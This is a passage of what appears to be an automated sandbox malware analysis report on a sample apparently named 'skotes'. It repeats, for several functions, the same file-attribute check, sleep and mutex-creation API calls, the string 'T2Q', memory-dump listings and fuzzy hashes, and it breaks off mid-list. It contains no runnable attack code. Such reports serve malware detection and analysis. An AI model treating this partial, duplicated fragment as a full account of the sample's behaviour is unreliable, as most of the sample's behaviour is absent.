CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: d8117f49f996b2ecaf40a1fd74ab637851d1fb8857859e5f1e3ca99b59c7f5ef
Instruction ID: 85a397747a94a1f00575e43efef8041d815ffdd698f3c1308606ad5a88b65976
Opcode Fuzzy Hash: d8117f49f996b2ecaf40a1fd74ab637851d1fb8857859e5f1e3ca99b59c7f5ef
Instruction Fuzzy Hash: A9314A717041009BEB08DB68DD89BEDBB62EB82314F20861EE114973D5C77D5D818769

Function 004B9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004B9CDD
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 4d37a28dee1064477ea17d3c9793400f1484da9e92c693a178734325631333a9
Instruction ID: 9b1d1d072aa008537676794d2244f48fa6fbb1e5ab85247ed8ddcac7ada31fb6
Opcode Fuzzy Hash: 4d37a28dee1064477ea17d3c9793400f1484da9e92c693a178734325631333a9
Instruction Fuzzy Hash: 423135717042008BEF08DBADCDC9BEDBB66EB86314F24861EE114A73D5C77D99809729

Function 004B9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004B9F47
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: ba883ad2e34485a0f3d00ba8563664fae4219cb393e40c20afec8a1c6ff33a27
Instruction ID: a010826a0599f431c78d3d73f64b04f2d35c5054d80d1228e162fbd2d34950c2
Opcode Fuzzy Hash: ba883ad2e34485a0f3d00ba8563664fae4219cb393e40c20afec8a1c6ff33a27
Instruction Fuzzy Hash: F7314871700200CBEB08EB68CD89BEDB762EB86314F24861EE014D73D1C77D9D91972A

Function 004BA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA07C
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 978d4f3c9c37bc7c8b08ee2df93784657bb82da81f48903b04e39a56f98dc606
Instruction ID: 4e45c7625a30b92ecbd29895d990f77b41bfcf76a9fe97b76a316b6c44f39323
Opcode Fuzzy Hash: 978d4f3c9c37bc7c8b08ee2df93784657bb82da81f48903b04e39a56f98dc606
Instruction Fuzzy Hash: 283128717001009BFB08EBBCCD89BEDB762EB82314F24861EE024D73D1C77D5991962A

Function 004BA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA1B1
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 9d9788bd891c5a77c3a801b00c3849d6e8f2c0117822ed7c7983304bdb5f20bc
Instruction ID: b2b16cf3f82829014b4f0e70d35b64dbda226eba8911fb5626718ecba37f170f
Opcode Fuzzy Hash: 9d9788bd891c5a77c3a801b00c3849d6e8f2c0117822ed7c7983304bdb5f20bc
Instruction Fuzzy Hash: AC314A71B001009BFB08DBBCDD89BEDB762AB86314F20865EE014D73D1D77E5991972A

Function 004BA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA2E6
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
